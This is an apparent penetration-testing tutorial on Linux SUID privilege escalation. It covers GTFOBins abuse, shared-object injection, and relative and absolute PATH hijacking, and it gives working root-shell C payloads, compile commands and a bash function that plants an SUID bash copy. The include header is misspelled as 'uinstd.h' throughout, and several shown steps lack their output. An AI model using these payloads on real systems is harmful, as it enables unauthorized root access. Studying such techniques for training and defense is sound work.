Introduction

The Set Owner User ID (SUID) and Set Group ID (SGID) are special permissions which can be attributed to Linux files and folders. Any files which are owned by root and have SUID set will be executed with elevated privileges. Our goal is to hunt down those files and abuse them in order to escalate our privileges. This can be easily done with the following command:

find / -perm -u=s -type f -user root 2>/dev/null

Exploiting Misconfigured Common Binaries

You should diligently inspect the list of files returned. Some standard Linux binaries may allow for privilege escalation if they have the SUID bit set for one reason or another. It is useful to go through these binaries and check them on GTFOBins.

In the above example, we find that /bin/systemctl has the SUID bit set and that it also has an entry in GTFOBins:

By following the instructions, although with slight modifications, we can run commands with elevated privileges:

Privilege Escalation via Shared Object Injection

Some binaries may be vulnerable to Shared Object (SO) Injection. This typically stems from misconfigurations where the binary looks for a specific library in a specific directory, but can't actually find it. If we have write access to this directory, we can hijack the search for the library by compiling our own malicious library in the place where the original one was supposed to be. This is quite similar to escalating via LD_PRELOAD, but it is a bit more difficult to find and exploit.

You will first need to identify an SUID binary which has misconfigured shared libraries. A lot of the times the binary will refuse to run, saying that it is missing a particular library, however, this is not always the case:

It is always good practice to run the programme with strace, which will print any attempts of the binary to access libraries:

strace <binary> 2>&1 | grep -iE "open|access"

What stands out in particular is the /home/user/.config/libcalc.so library, since /home/user/.config/ may be a writable directory. It turns out that the directory doesn't even exist, however, we can write to /home/user/ which means that we can create it.

What now remains is to compile a malicious library into libcalc.so.

#include <uinstd.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject()
{
	setuid(0);
	setgid(0);
	system("/bin/bash -i");
}

For older versions of GCC, you may need to use the _init() function syntax:

#include <uinstd.h>
#include <stdlib.h>

void _init()
{
	setuid(0);
	setgid(0);
	system("/bin/bash -i");
}

Compile the malicious library:

gcc -shared -fPIC -o libcalc.so libcalc.c # add -nostartfiles if using _init()

Privilege Escalation via Path Hijacking

Path Hijacking refers to the deliberate manipulation of environmental variables, most commonly \$PATH, such that the invocations of programmes in a binary actually refer to malicious binaries and not the intended ones.

This vector requires more sophisticated digging into the internals of an SUID binary, specifically tracking down the different invocations the binary performs. This can commonly be achieved by running strings on the binary, but you will probably have to resort to more serious reverse engineering, as well. Specifically, you want to be on the lookout for shell commands which get executed by the SUID binary.

Hijacking Relative Paths

Relative paths are comparably easy to hijack - they require little other than editing the \$PATH variable. Once you have identified a shell command within an SUID binary which invokes another programme via a relative path, you can just prepend to the \$PATH a directory which will contain an executable with the same name as the one originally invoked.

Let's compile our own malicious binary.

#include <uinstd.h>
#include <stdlib.h>

int main()
{
	setuid(0);
	setgid(0);
	system("/bin/bash -i");

	return 0;
}
gcc -o /tmp/service /tmp/service.c

Afterwards, we need to prepend /tmp to the \$PATH variable:

export PATH=/tmp:\$PATH

And finally, run the original SUID binary:

Hijacking Absolute Paths

Absolute paths require a bit more work to be hijacked.

Luckily, bash turns out to be very sophisticated and allows for the creation of functions which have the forward slash (/) character in their name. This means that we can create a malicious bash function with the same name as the absolute path we want to hijack and then our function will be invoked in lieu of the original programme.

First, create the bash function:

function <absolute path here>() { cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p; }

Next, export the function:

export -f <absolute path here>

Finally, run the original SUID binary: